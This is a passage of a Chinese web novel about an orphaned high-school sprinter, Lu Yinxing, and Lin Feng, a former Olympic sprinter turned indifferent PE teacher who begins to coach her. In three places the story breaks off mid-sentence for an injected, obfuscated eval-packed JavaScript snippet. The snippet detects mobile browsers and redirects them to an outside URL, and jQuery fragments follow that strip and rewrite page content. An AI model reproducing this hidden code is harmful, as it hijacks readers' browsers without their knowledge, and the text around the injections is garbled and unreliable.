林风耸耸肩,手心朝上道:“随你,但秒表我得收走。”
路银星这才想起自己手里还攥着学校公共财产,撑着地面把自己支起来。
她将秒表还给林风。“给您。”
“谢了。”林风朝路银星笑了一下,潇洒地转过身去,给路银星留下一个背影,“小疯子,明天你也别借了。”
“什么?”路银星不解。
但林风没再回应,只是挥挥手道别,朝办公室走去。
路银星有点儿摸不着头脑,这个林老师到底是什么意思?
但她现在脑子实在是转不动,肚子也咕咕地抗议着。
糟了!食堂还有十分钟就要结束晚餐了!
又累又饿的路银星以最快速度站起身,朝食堂狂奔而去。
“阿姨,我要三碗米饭!”
路银星成功将最后一份红烧肉和青菜拿下,狼吞虎咽地补充着能量。
-
原以为昨天和那位不熟的林老师的见面是一次没有下文的偶遇,没想到第二天训练前,路银星就听到了关于她的更多的八卦。
“你们班最近体育课改成林风代课了没?”
“改了啊。她可佛了,做完指定的课堂训练内容,还能给我们一些自由活动的时间呢!我挺喜欢她的,自由。”
“但你知道不,她以前是田径国家队的成员,还上过奥运会呢。虽然没拿到什么名次,但竞技水平没得说。”
“真的假的?!她完全不像是国家队的吧?感觉她超级摆烂,我去办公室找黄教练的时候,每次都能见到她在那捧着小说,读得津津有味的。”
“现在网上什么信息查不到?代表国家队出战奥运的视频都能找到呢,这怎么做假。”
“也是。管她呢,反正我能偷懒就是好事。”
昨天那个着急下班的中年女子,以前竟然是国家队的?
路银星听完这个八卦,好奇地在网上搜索了「林风」这个名字。
同名同姓的人挺多,还有明星。路银星又加上了田径和短跑之类的关键词,才找到了当年奥运的报道。
「小将林风闯进雅典女子100决赛!」
「林风拿下女子100米第六名,刷新中国队奥运最好成绩。」
田径并非中国队的强项,虽说是突破性的进展,但连台子都没摸到的成绩,通常没有太多媒体关注。
更何况,那是社交媒体并不太发达的2004年。
路银星好奇地点开了画质模糊不清的比赛视频,看到了20岁的林风意气风发冲过终点线的样子。
那副模样和昨日见到的状态判若两人,和队友们嘴里佛系摆烂的体育老师更是天壤之别。
为什么,林风现在变成这样了?
6.僵局
中午十二点,程远中学,体育办公室。
黄力收拾了下背包,看似面带歉意,实则不禁得意地对林风说道:“麻烦你了林老师!这不是又被请去做培训嘛,这体育不得不让您代劳。”
林风把小说从脸前挪开一些,朝黄力坦然一笑:“黄老师这是什么话,代一节课嘛,没什么麻烦的。”
说完客套话,林风就继续沉浸在小说的世界里,平静恬淡如她桌上的那杯白开水。
黄力炫耀没成,脸上笑容急转弯,但还是用“辛苦林老师”的话语,来掩盖了他的尴尬。
不过,办公室里自有帮黄力找回面子的人。
“黄老师带出了路银星这颗未来之星,到处都想听黄老师分享成功经验,自然是大忙人。林老师,多担待。”
尽管这话也暗藏着说话之人的小心思,不太能细琢磨,但黄力很受用,笑容重新恢复灿烂。
林风在小说的遮蔽后把眉毛拧起,对这种场面接受无能。
她还是继续做一个佛系摆烂的普通体育老师好了。
林风的目光移到窗外。那里总有明媚的阳光和生机盎然的绿植,可今天,却又多出了一个难以忽视的身影。
烈日当空的正午,除了偷偷谈恋爱的小情侣,没人在操场上,因此那奔跑的身影很显眼。
跑步的不是别人,正是昨天那个独自在操场上加训,跑得快晕过去的路银星。
林风转过头来,重新看了一眼替黄力出的代课单,高一十班,正是路银星所在的班级。
代课的时间是......
两个小时后。
“同学们好,我是林风。因为你们黄老师受邀去其他学校做培训了,我来代一节课。”
林风身着一套红白相间的运动装,头顶干净利落的短发,左手拿着点名板,右手握着保温杯,胸前还挂了一块秒表。
路银星盯着林风看了良久,还是没能把眼前这位和古早视频里在奥运会上驰骋的运动员联系在一起。
林风的教学风格和她这人一样,特别随性。
比如,面对跑步偷懒的同学她通常只是淡淡地看一眼,从不说什么。比如,同学无论以什么理由请假,她都会无条件答应。
路银星不认同这种教学理念。在她看来,这确实有点儿佛得过了头。
但客观上,路银星对于林风给予的自由活动时间很喜欢。她正愁没时间加练,这可以自由使用操场的机会不就从天而降了?
同学们称林风为“心软的神”,三五成群地玩上了自己想玩儿的运动。
篮球场、羽毛球场和乒乓球桌是最热闹的,中间的大草坪也被踢足球的占据,还有些人干脆坐在一边聊起天来。
跑道反而是最没人气的地方,没人会在自由活动的时间选择跑步。
因为跑步听起来就像是杯白开水,很少人会在拥有琳琅满目饮料的时候选择它。它平平无奇,少了团队运动斗智斗勇的乐趣,也缺乏极限运动给人带来的肾上腺素的狂飙。
路银星看着空旷的独属于自己的跑道,嘴角不禁扬起了一个弧度。
她其实想问林风借一块秒表,但她回忆起昨晚林风的话,刚抬起的脚就又变了个方向。
路银星活动着手腕脚踝膝盖等身体的各个关节,眼神热烈地看着跑道的另一头。
算了,没有秒表,多练练组合跑也是不错的。
路银星充分热身后,就在跑道上自主训练起来。训练的内容是黄教练之前经常让大家做的组合跑,但她默默自行缩短了每一跑之间休息的时间。
自由活动的时间有限,她必须要争分夺秒,不浪费这独享的跑道才行!
蹲下、重心前移、起跑、摆臂迈腿、冲刺。
路银星把这些环节做了一遍又一遍,组合跑完成了一组又一组,汗水淋漓打湿了衣服却仍然不知疲惫地奔跑着。
不远处的林风喝了一口保温杯里的白开水,眼神不自觉被场上的路银星吸引。
尤其是,路银星的那双炙热的眼睛里,迸发出渴望的光芒的眼神,让林风的心跳没来由地空了一拍。
路银星跑得气喘吁吁的时候,眼神里的光也没有消失。
她总是很认真的、用百分之一百的努力去完成每一个动作的细节,会为失误时刻而懊恼,但永远会在下一秒昂着头看向跑道。
那种感觉很遥远,但......
很熟悉。
林风是从体校里跑出来的。她练短跑的那些年,见过很多拼命的孩子。他们大部分按部就班地按照教练的指令行事,苦哈哈地过着日复一日训练的生活。
练得多了练得久了,人的眼神难免麻木暗淡,干什么都成了机械性的重复。但也有少部分人,眸子里永远闪着光和对胜利的渴望。
就像,眼前的路银星一样。
就像,曾经的她自己一样。
林风强迫自己移开目光,看了会儿嬉笑打闹的同学们,平复了下因为路银星一个眼神而鬼使神差沸腾的内心。
这个小疯子竟然有把一潭死水点燃的能力。
不过,她这滩死水估计更厉害,很快就把小火苗给浇灭了。
-
短暂的一次代课让两人产生了一瞬的交集,两人又很快回到了各自的轨道上。
整个十月,路银星的成绩成功稳定恢复到了12秒40左右的水平。
不过,这距离她受伤之前的12秒10左右的巅峰时刻,仍然有半秒多的差距。
那种卡在不上不下位置的感觉很难受。明明能够跑得更快,却始终无法突破的感觉更是让她时常感到胸闷烦躁。
更何况,这个成绩在同龄人中是不够看的。现在U16女子100米最快的那些运动员,有的时候常常能跑进12秒内。
路银星心中清楚地明白,这些差距意味着自己依靠跑步闯出一条路,依靠跑步被认可的可能,变得希望渺茫。
因此,她只得用更加倍的付出。
清晨薄雾笼罩的时刻,傍晚夕阳西下的时分,路银星不知疲惫地奔跑在操场上。
程远中学财大气粗,室内健身房只需刷学生卡便可进入使用。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430317|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
因此哪怕遇上刮风或者下雨天,路银星也不闲着,会认认真真在室内完成体能训练。
路银星跑啊跑啊,从秋风飒爽的十一月,跑进寒风瑟瑟的十二月。
林风那滩平静的死水,则在煮沸又平静又煮沸的往复中循环。
每一次,当林风瞥见独自一人训练得极其专注的路银星的时候,她那麻木的心脏总是会不由自主地跳动异常。
甚至,只要是阳光明媚的傍晚,林风便会时不时地望向窗外,目光下意识搜索路银星的影子。
办公室里,坐她对面的老师对于林风微妙的状态有些好奇。
“你在看啥呢?”
林风在捕捉到路银星的身影的时候,露出一个“果然如此”的微笑。
“一个小疯子。”她回道。
“哈?”对方疑惑,“这什么癖好?”
林风没再回答,心里却默默有了一个答案。
人们常说竞技体育需要疯子,她好像逐渐明白其中缘由了。
-
学期末的一月,糟糕的天气更加频繁地出现。
在一个天气预报显示短时阵风将达到八到九级、气温跌进负数的日子,黄教练带着一批生面孔,来到了田径队的室内训练的专用房间。
“给大家介绍一下,这是咱们初中部初三的同学,他们也会跟着我们一起试训,提前适应一下高中部的节奏。大家热烈欢迎。”
队员们按顺序做着自我介绍,黄教练带头鼓掌鼓励。
但面对初来乍到的准竞争者们,田径队里的氛围相当微妙,窃窃私语声此起彼伏。
“什么情况?这么快就开始考虑培养接班人了?”
“那路银星咋办?”
“她最近不是已经在12秒40这个成绩上卡了三个月了么?要我是黄教练,也肯定会想找找别的苗子吧。”
“也是,鸡蛋不能放在同一个篮子里。”
每一次新人的入场,都会让路银星格外如芒在背。而队友们的那些话,则像一根根细刺,狠狠扎进她的心脏。
这三个月来,她没有一天落下训练,没有一天偷过懒,没有一天不在为跑得更快而努力。
但命运好像偏偏要捉弄她。
给了她逆天改命的希望,又在不经意间把她从云端摔落地面。
路银星撇过头去,让自己不去看黄教练和新人们友爱的互动场面。
但闭上眼睛,声音也会从耳朵钻进去。
“你们看我做一遍示范,这些小细节的地方一定要多加注意。”
“没错!一点就通,很有灵气!”
“你们要是遇到了任何训练或者技术上的难题,可以随时过来问我,也可以向你们的师哥师姐请教。你们作为初中部最有潜力的运动员,一定可以很快适应高中部的节奏。”
......
那些话路银星觉得似曾相识,黄教练在自己初来乍到的时候也说过。
只是现在,她不再是被鼓励的对象了。
她好像又变成了没人要的孤儿。
7.点燃
“啊......”
焦虑和压力之下,路银星在做杠铃深蹲的时候莫名走了神,杠铃一下脱手。
还好她身体本能反应更快,才避免了砸到身体的事故发生。
黄教练猛然转过头来,被吓了一跳:“路银星,你没事吧?”
路银星稳住了在地上轻微滑动的杠铃,深深吸了一口气,抬起头回道:“没事。”
黄教练仔仔细细地打量了路银星,确认没她受伤,这才松了口气。
“没事就好,没事就好。”
剩下的半小时训练时间里,黄力三番两次回头观察路银星的状态。
路银星其实仍然有些心不在焉。但偶尔和黄教练对视的时候,她还是会勉强将嘴角扯起,以示自己没什么大碍。
结束训练后,路银星一言不发,径直走进了洗手间。
确认没人之后,她躲进了最里面的隔间,啪的一下将门反锁上。
在这个狭小的只有她一个人的空间,只是一瞬,路银星的眼眶就蓄满了泪水。
积攒了近半年的情绪,被猛然划开一道口子。到了如今这时刻,便像是火山爆发般喷涌而出,顷刻装满了小小的厕所隔间。
路银星的眼泪簌簌地往下掉,情绪在连成串的泪珠中越来越外放。她的声音也从一开始的压抑得啜泣,渐渐变成了放声的大哭。
长久以来持续增加的压力,终于得到了宣泄而出的机会。
不过,哭其实是一件很消耗体力的事情。
路银星用力地持续大哭了十分钟,在感觉有些累得喘不上气的时候,才慢慢停了下来。
好像,那块重压在胸口的石头终于被抬起来了点儿。
路银星一次又一次地深呼吸,以平复心中那汹涌而激烈的情绪。
她又在隔间里待了十多分钟,确认外面一点儿声响都没有,才慢慢打开了锁,推门而出。
“嗨。”
结果,路银星一出去,就和靠在墙边的女人对上了视线。
她愣在了原地,嘴角强拉着向上,回了一个招呼。
“林老师好。”
也不知道林风在这儿多久了,应该不会听到自己哭了很久吧?
可惜,林风接下来一句话,让路银星幻想破灭。
“小疯子变小哭包了。”林风说这句话的时候,眼神带着调侃。
但林风手上却给自己递来一块手帕,指了指左侧脸颊靠下的位置,说道:“擦擦吧,这儿有泪痕挺明显的。”
“谢谢林老师。”路银星接过手帕,转过身对着镜子将自己脸上哭过的痕迹擦除。
林风今天还是穿着一身休闲运动套装,整个人依旧懒洋洋的模样。
但破天荒的,林风主动对路银星发出了邀请。
“我周末想去安县一趟,我听说你是从那儿出来的,能不能做我的向导?”
路银星又是一愣。“我做您的向导?”
“嗯。”林风的语调上扬,一脸信任地拍拍她的肩膀,“你放心,来去都我开车,吃住也包在我身上,你就当郊游了。”
郊游?
路银星觉得自己可能很难以一个轻松平和的心态对待安县,对待那个她始终想要逃离的地方。更何况,她现在还带着被丢回那里的恐惧。
“抱歉,我周末有事儿了。”路银星干脆利落地拒绝。
林风也没有勉强,耸耸肩侧过身道:“没事儿,那我自己去一趟也行。”
“好。”路银星礼貌和林风道别,“那林老师,我先回去了。”
林风看着路银星匆匆离去的背影,摇摇头,长叹了口气,自言自语道:“路漫漫兮其修远呐。”
林风是在路银星放声大哭的时候进入的洗手间。为了不打扰路银星,她在一旁静静等待了良久。
说起来,这是林风第一次看见小疯子努力与渴望之外的情绪,一个世俗意义上消极脆弱的状态。
但林风平静如水的内心,反而在那一刻被彻彻底底地点燃了。
因为路银星的状态很真实很可爱,因为当脑袋里的弦绷得太紧的时候,运动员是需要发泄和舒缓的,因为......
因为连在独自躲起来哭这件事上,路银星都让林风想到了曾经的自己。
缘分就是如此奇妙。
-
周六一大早六点,林风真开车出发去安县了。
不过,倒不是独自一个人,林风的副驾坐着一位和她年纪相仿的中年女子。
那是她当年在国家队时最好的朋友,叫陈晶。陈晶现在是J省田径队分管女队的教练,做了两年有余,算是正值当打之年。
车子在空旷的高速上飞驰。陈晶正撑着脑袋打哈欠,眼底挂着俩浓郁的黑眼圈,一脸生无可恋。
“你是说,我们去安县......是去旅游?!”
“对啊,人少僻静。”林风面不改色地点头。
陈晶再度拿起手机,在社交媒体上划拉来又划拉去,看着少得可怜的帖子,用极其怀疑的眼神打量着林风。
“不对劲,十分有九分的不对劲。”陈晶眯起眼睛,“依照我对你性子的了解,你根本没这个闲心去这种鸟不拉屎的地方郊游。”
林风笑而不语,一路跟着导航朝着安县的方向开,下了高速便开进了更狭窄的省道,接着绕上了乡间小道。
最终,车子在一处陈旧的低矮院落前停下。
“十分有十分的不对劲!”陈晶叹了口气,看着墙上的名字,念道,“星缘福利院......你来这儿郊游??”
院门口朱红色的名字掉得七七八八,「星」字变成了「生」,「缘」只剩下了左半边。
“不是很有乡野气息嘛。”林风掏出手机,对着福利院门前一棵颇为粗壮的柏树拍了一张照,递给陈晶看,美其名曰道,“多有生命力。”
“少来!”陈晶撇过头去,抱胸,“你要是真感受到了生命力,那你赶紧支棱起来,过来省队给我当助教,好好发挥一下你的余热。而不是天天在那个什么中学里摆烂,连个教练都懒得当!”
对于陈晶一如既往的苦口婆心,林风没回答,只是径直朝着院子深处走去。
陈晶的眼睛却是一亮,赶紧跟上。
按照以往的情况,林风会在她提出此类建议时,立刻一口拒绝。
可现在林风却选择沉默以对。
难道是,有戏?!
“是什么让你转性了?”陈晶好奇地发出了一连串的追问,“是这个福利院的哪个小孩儿么?可你怎么会认识这儿的小孩的?”
陈晶的嗓门很大,说话中气十足,算是平时教育队员养成的“工伤”。
于是,在这个安静的福利院里,这样的动静毫不意外地惊起了枝头停驻的乌鸦。翅膀扑棱声混杂着嘎嘎的叫声,让院子热闹了起来。
一位扎着低马尾、头发半白却动作干练的女子,从办公室
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442782|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走到了院子内,笑着迎上前。
“你们是找谁吗?我是星缘福利院的院长,我叫路青云。”女子笑起来的时候很温暖,眼角的细纹诉说着时光的力量。
原来路银星是跟院长姓的,青云这名字真好听,林风想。
“我是路银星在程远中学的老师,您叫我林风就行。我一直听银星说在福利院的事儿,正巧周末来安县旅游,就想着来都来了,得到咱们福利院看看。”
路银星自然是没和林风说过任何关于星缘福利院的事儿,但林风这招儿,成功让路院长放下了戒备心。
“林老师是银星的老师呀!”路青云一下变得热情起来,邀请着两人进到了办公室,“您二位请坐,我去泡杯茶。”
“谢谢。”
林风环顾四周,这间办公室估计用了有些年头,老旧的桌椅,洗得掉色的窗帘,都隐约透露着路院长的性格。
最后,林风的眼神落在了靠墙的一排柜子上。其中一个柜子里摆满了整理好的文件夹,是按照年份整理的资料。
“二位请喝茶。”路青云笑意盈盈,“银星那孩子在程远表现得怎么样?她从小就要强,有的时候挺固执的,您没被她气着吧?”
“银星她是个很努力认真的孩子。而且胜负心强这点对于跑步来说,是很好的品质。”
林风的脑海里回想起路银星独自一人在操场上奔跑的清晨和傍晚,心跳莫名又跳得快了些。
“对了,我能看看银星小时候的照片吗?如果可以的话,还想拿一张回去,留作纪念。”林风指了指柜子里的资料。
“可以倒是可以,就是那时候照片留得不多。”
路青云从文件夹里精准地找到了路银星在福利院的年份,从文件夹里翻出了一本相册。
相册不厚,大多是福利院搞活动的时候拍的照片,那是孩子们脸上总会洋溢笑脸的时刻。
但路银星的眼神,确实和其他小孩儿有些不同。
“当时是在比赛吗?”林风指着其中一张照片问道。
照片上有三个小朋友,看起来也就十岁左右。他们站在一条白线前,做着跑步的预备姿势。缩小版的路银星站在中间,稚气十足的圆圆的脸蛋上,挂着和旁边两人截然不同的严肃的表情。
“对,当时我们举办了一个趣味运动会,这个项目是50米障碍赛跑。”路青云陷入回忆,嘴角微微上扬。
路青云将相册翻了一页,指着另一张照片上笑容格外灿烂的路银星,说道。
“我记得特别清楚,银星她跑了第一名,甩了第二名一大截那种,还拿到了满满一大袋的零食礼包,开心了一礼拜。”
林风看着照片里缩小版路银星,不知为什么,好像跟着经历了胜负欲强烈的起跑和兴高采烈的冠军时分。
“路院长,这张能送给我吗?”林风指着夺冠的照片问道。
路青云思忖片刻,同意了。
“林老师,我不知道是不是银星在程远经历了什么,但我希望她能勇敢追梦、永远快乐。”当路院长将照片递给林风的时候,意味深长地说道。
林风被这真挚的祝福击中心脏,愣了一下,然后郑重地点头。
“我会努力让路银星快乐的。”林风承诺道。
从星缘福利院离开后,陈晶挑眉,眼神中全然是探究。
“所以,路银星到底有什么魔力?竟然能让你这个佛得不能再佛得人支棱起来,还做出了承诺?”
8.代课
陈晶对路银星这个名字并不陌生。她在省队的工作,并不只是关注现役的那些队员,梯队建设,更小的那些好苗子,她都会关注。
“我知道路银星,这两三年来,她在省里比赛成绩很出彩,算是我们重点关注的苗子。就是今年不知怎么的,突然就发挥失常了。”陈晶耸耸肩,“不过,只要之后省队试训时候好好比,入选省队应该没什么问题。”
陈晶说完,认真观察着林风的反应。她心里自然期待林风能够分享更多关于路银星的事儿。
但要让林风变回以前那个模样,显然还需要更多时间。
林风保持着沉默,又回头看了看老旧的福利院,手指下意识摩挲着那张保存良好的老照片。
“行吧,不想说就不说了。”陈晶叹了口气,继续问道,“不过,我们是不是可以正式进入郊游这个环节了?”
林风将照片收好,没好气地瞪了陈晶一眼。
“我订了本县评价分数最高的一间民宿,咱们现在去办入住,还附带农家乐体验。”
“你真想郊游啊!”陈晶挑眉,“也行,回到小时候乡间生活,还挺复古的。”
在安县这个过于僻静的地方,饶是最高分的民宿,也挺......说好听点儿是简洁,说难听点儿就是简陋。
不过,民宿占地很大,自家院子里还有个不小的鱼塘。老板热情大方地借了两根鱼竿给她们,又提供了鱼饵和鱼篓。
“钓起来的鱼,您出个加工费,晚上咱们就给做了。”老板笑眯眯地说着。
林风和陈晶并排坐在低矮的小板凳,一人架着一根鱼竿等待着。
“没想到我俩这是先步入退休生活了?”陈晶说完,自顾自地摇头纠正,“不对,你可早就精神退休了。”
“今天是来钓鱼的。”林风笑着避开了话题。
“一说到关键问题,你就爱打岔!”陈晶叹了口气,把鱼饵穿进钩子,猛地抛出了鱼竿。
林风插着兜坐在椅子上,闭上眼睛晒着冬日暖阳,偶尔看一眼架着的没什么动静的鱼竿。
她旁边的陈晶今天看起来运势不错,短短半小时,已经上了三条鱼。
陈晶得意地给林风展示自己的成果。“看来,在钓鱼这方面,我也是力压你呀。”
林风撇嘴,回道:“我这叫愿者上钩。”
陈晶挑眉,敏锐地注意到林风时不时会去看那张从路青云那儿要来的照片。
“我看这次,那孩子能让你愿者上钩。”
-
林风不得不承认,陈晶说的挺有道理。
结束了和陈晶的安县周末郊游,林风揣着照片回到了程远中学。
路银星对自己苛刻的加训仍然在继续。
林风视线飘向窗外操场的时候,毫不意外地见到了路银星奔跑的身影。
她看了一会儿,老照片在手上不断翻飞,心里琢磨着该不该现在主动去找路银星的问题。
思忖了半天,林风还是将照片放回了钱夹里,喝了口保温杯的水。
现在去太刻意。
路银星这孩子防备心比她想象中强,上次在厕所对话后,她拒绝和逃跑得都挺快。
但黄教练很快便给了林风新的接触路银星的机会。
“抱歉啊林老师,快到期末了还要麻烦你。”黄力的代课请求来得正是时候,“但这次是省里的分享邀请,我实在是不好拒绝。”
林风看了眼代课单,巧合的是,这次还是路银星所在的高一十班。
“没问题,黄老师您忙您的就行。”
林风的代课一如既往受到学生们的热烈欢迎。毕竟,谁不喜欢自由活动的时间呢?哪怕是路银星,也喜欢能更多自由使用操场进行训练的机会。
“不问我借秒表吗?”林风走到跑道边,主动问道。
路银星抬头,有些疑惑道:“可您上次不是让我别借了?”
“上次的你不适合借,但今天也许可以,现在是顺风。”
林风能敏锐地感觉到路银星状态的微妙变化,今天的路银星没那么紧绷。
“不如,我给你掐次一百米的时间吧。和风一起跑应该挺不错的。”
说着,林风没给路银星拒绝的机会,秒表在手中晃了晃,举了起来。
“啊?好。”路银星点点头,立刻拍了拍大腿,让身体活跃起来,在起点线上做好起跑的准备。
能够随时做好测试的准备,快速响应需求,路银星确实是黄力捡到的一块宝。可惜,黄力他似乎没有让路银星健□□长成大树的能力。
“预备——”林风走到了百米的终点,大声喊道。
停顿两秒后,她吹响了出发的哨声。
路银星立刻如离弦之箭飞出,冲破风奔跑着向前。
这算是林风第一次近距离看路银星跑步的所有细节。从起跑的反应到途中的姿态,再到冲刺的节奏,林风全都仔细地观察着。
路银星挺身冲过了终点线,从狰狞的表情就能看出,她真有拼尽全力在完成一次普普通通的百米跑步。
“我跑了多少?”一冲线,路银星就立刻上前问林风成绩。
路银星的眼睛瞪得圆圆的,又闪着亮晶晶的光芒,就这样看着林风。
在跑步这件事上的态度,路银星与平时疏远又沉默的模样,截然相反。
见林风没说话,路银星微微皱起眉头,问道:“我跑得很烂吗?”
林风摇摇头,将秒表的数字转过去给路银星看。
“12秒03。”
看到数字的路银星眼睛陡然变得更亮。“这是我最近最快的一次!”
路银星整个人兴奋起来,也不和林风生分或保存微妙的距离了,身体下意识离得更近了些。
她眨着眼睛朝林风问道:“我想再来一次,林老师您能再给我掐一次吗?”
林风没有立即应下,反而问了路银星一个问题。
“你还记得刚才呼吸了几次吗?”
“啊?”路银星有点儿摸不着头脑,“一两次吧?”
林老师这个问题怎么傻乎乎的,谁会没事干去数跑步的时候呼吸了多少次啊?!
而且,她好像大部分时间都是憋着气去冲刺的,但途中什么时候换的气,换了几次气,她完全没在意。
“下一次数一数,到底一次还是两次,以及,是在什么位置呼吸的。”
“好吧。”路银星虽然不明白林风让她这么做的原因,但还是点点头,一路小跑回到了起点。
因为带着不同寻常的任务,路银星这次跑的时候,注意力有些不能完全集中在冲刺这件事上。
冲过终点之后,路银星情绪较之前低落了不少。
“我这次肯定跑得很慢。”
“时间不重要,重要的是,你能告诉我,你刚才是怎么分配呼吸的么?”林风只是盯着关键问题追问。
路银星回忆了一下,认真地答题:“两次,大概是在30米和80米的位置。”
答完题,路银星才突然反应了过来,拍了下脑袋。
“之前黄教练是说过要保持一个良好的呼吸节奏的事情,但我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17456511|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好像一直没仔细去研究过细节。林老师,我刚才这么吸气,是有什么问题吗?”
林风嘴角微微勾起。没想到路银星不仅刻苦、胜负心强,悟性也很高。
“你第一次跑的时候,憋气的情况更严重,大概是只在一半的时候偷了一口气,就接着卯足劲往前跑了。但这样的勉强会让肌肉缺氧,最后就会演变成动作的变形。”
林风耐心地解释道:“第二次,虽然你时间上是慢了,但呼吸节奏明显好多了。”
路银星在脑袋里认真地思考着林风的话,若有所思中,又走回到了起点线。
一路上,路银星一边认真思考,一边在脑海里把如何100米中的两次呼吸这事儿分配了一下。
“林老师,我再跑一次,您还能帮我计时吗?”路银星扯着嗓子,对终点线前的林风喊道。
林风举起手,比了个「OK」的手势。
不一会儿,哨声响起,路银星在跑道上飞奔起来。
这一次的100米,她按计划执行了刚才准备好的呼吸节奏,在30米和70米处各偷了一口气,冲过了终点线。
虽然按照计划呼吸这件事对路银星来说,稍显不习惯,但她还是稳稳当当跑了下来。
“12秒05,虽然没有第一次快,但等你慢慢习惯了找到呼吸的正确节奏,成绩应该能提升。”林风说道。
路银星猛地点头,说道:“那我再来一次。林老师,你可以......”
林风闻言,赶忙摆手拒绝:“不太行,我得去看看其他同学自由活动得如何。”
她今天的工作量再做,可就要超标了。更何况,现在路银星严格意义上说,是黄力的队员,她掺和太多,容易引火上身,到时候可得不偿失。
“啊.....好,林老师您去忙。”
路银星自己却没闲着。没有了计时,她正好可以慢慢感受具体的呼吸的时机。
她反反复复在那条百米跑道上跑过去,又走回来,在一次次的尝试中调整着呼吸的细节。
渐渐的,路银星还真感觉到了微妙的不同。
但下课的铃声来得突然,路银星不得不去集合。
下课之后,林风递给了路银星两样东西:一袋气球和一张照片。
路银星看着那一袋没有吹开的气球,眼神中充满好奇。“这是干嘛用的?”
“没事干的时候,可以一边慢走一边吹气球,寻找匀速呼吸的感觉。”林风简单解释了下。
“原来如此。”路银星点头,“我一定会努力吹气球的。”
随即,路银星的目光移到了那张照片上。只一眼,她就顿住了。
“林老师......你自己去了?”路银星以为,林风当时是一时兴起,没想到她其实很认真。
“我和朋友一起去安县郊游,主要是去钓鱼的。然后半山腰发现了一个福利院,看名字觉得熟悉,后来发现好像是你待过的那个,这不就巧了么。”
林风没有对路银星说实话,她不想给路银星的肩上再压上更多不必要的负担。
路银星看着曾经拿着简陋奖牌笑容灿烂的自己,心脏猛然收缩,思绪纷飞。
“路院长她......她还好吗?”破天荒的,路银星说话都断断续续起来,眼眶瞬间泛红。
林风看着路银星的模样,叹了口气,一字一句地说道:“路院长希望你能勇敢追梦、永远快乐。”
话音刚落,一股酸涩涌到了路银星的鼻尖。
“抱歉,林老师,我去趟卫生间。”路银星落荒而逃。
9.寒假
路银星再次躲进了她上次那最里面的那间隔间。封闭狭小空间带给了她安全感,让她能在这儿将堆积在胸口的感情彻底释放出来。
眼泪终于决堤般簌簌地往下掉,离开星缘福利院四五年的复杂感情,一股脑儿涌上心头。
在福利院的那些日子,过得紧巴巴却很温暖。路院长虽然在学习上对大家很严格,但生活上却细心地照顾到每一个人。
特别是过年的时候,路院长会给所有的小朋友准备小礼物,一个人都不会少。
隔壁小胖子心心念念的进口巧克力,麻花辫同桌随口一提过的模型玩具,以及给自己的那双大品牌的跑步鞋,路院长对每个孩子的上心程度,所有人都能感受到。
而且,这部分礼物钱都是从收入微薄的路院长自己口袋里出的。明明她自己的日子一直过得紧巴巴,却还是会优先紧着福利院的孩子。
路青云是把这些被抛弃的孩子当自己孩子养的,付出了很多心血,给所有人努力编织出一个家。
而对于已经离开福利院,去过好新生活的自己,路院长也送上了最真挚的祝福。
明明、明明自己都不算是她的“责任”了。
「勇敢追梦、永远快乐。」
八个字带着路院长对自己的期待和关心,萦绕在耳边,眼泪倏然落得更凶。
在那场改变路银星命运的选拔前,路院长向她解释名字的寓意,认认真真又期待万分地说自己应当活成诗里的模样——银鞍照白马,飒沓如流星。
路银星凌乱的呼吸慢慢平稳,那股不想服输的劲儿重新占得了上风。
自己还没跑出中国跑向世界呢,如果就这么灰溜溜地被扔回福利院,该怎样面对路院长对自己的期待呢?
不行!绝对不能让这样的事情发生!
路银星长长地呼了一口气,走出了隔间。好在这次没有迎面撞上什么人,路银星打开水龙头,将冰冷的自来水不停地拍打在脸上。
因为一张旧照片而点燃的复杂不安的心绪,终于慢慢平复,归于寂静无声。
路银星摸到了口袋里那袋气球,悄然在心里下定了决心。
-
黄教练从省里分享回来后,还带来了一个消息。
“四月底的时候,会有省队试训的测试赛,希望大家能发挥出实力,争取参加试训。因此,这个寒假可不要太放松了,过年也别胡吃海塞,到时候恢复起来费劲儿。”
黄力的消息给路银星打了针鸡血,给她设定了一个新的短期目标。
寒假很快到来,学生们离开学校回家过年,校园陡然冷清起来,宿舍、健身房等场所也因为工作人员休假而暂停开放。
路银星站在空空荡荡的宿舍路前,拖着一个30寸的大行李箱,深呼吸。
从福利院来到这儿后,她每年最孤单的日子便是寒暑假了。
理论上来说,即使她不在福利院居住,监护关系依然存在于福利院。但实际上福利院也没有多余的床位可以给她,她回去不过是给路院长添乱。
好在,程远中学在了解到她的情况后,特意给她准备了学校空余的教师公寓,让她放心度过假期。
教师公寓前台的孙阿姨热情地和她挥手。
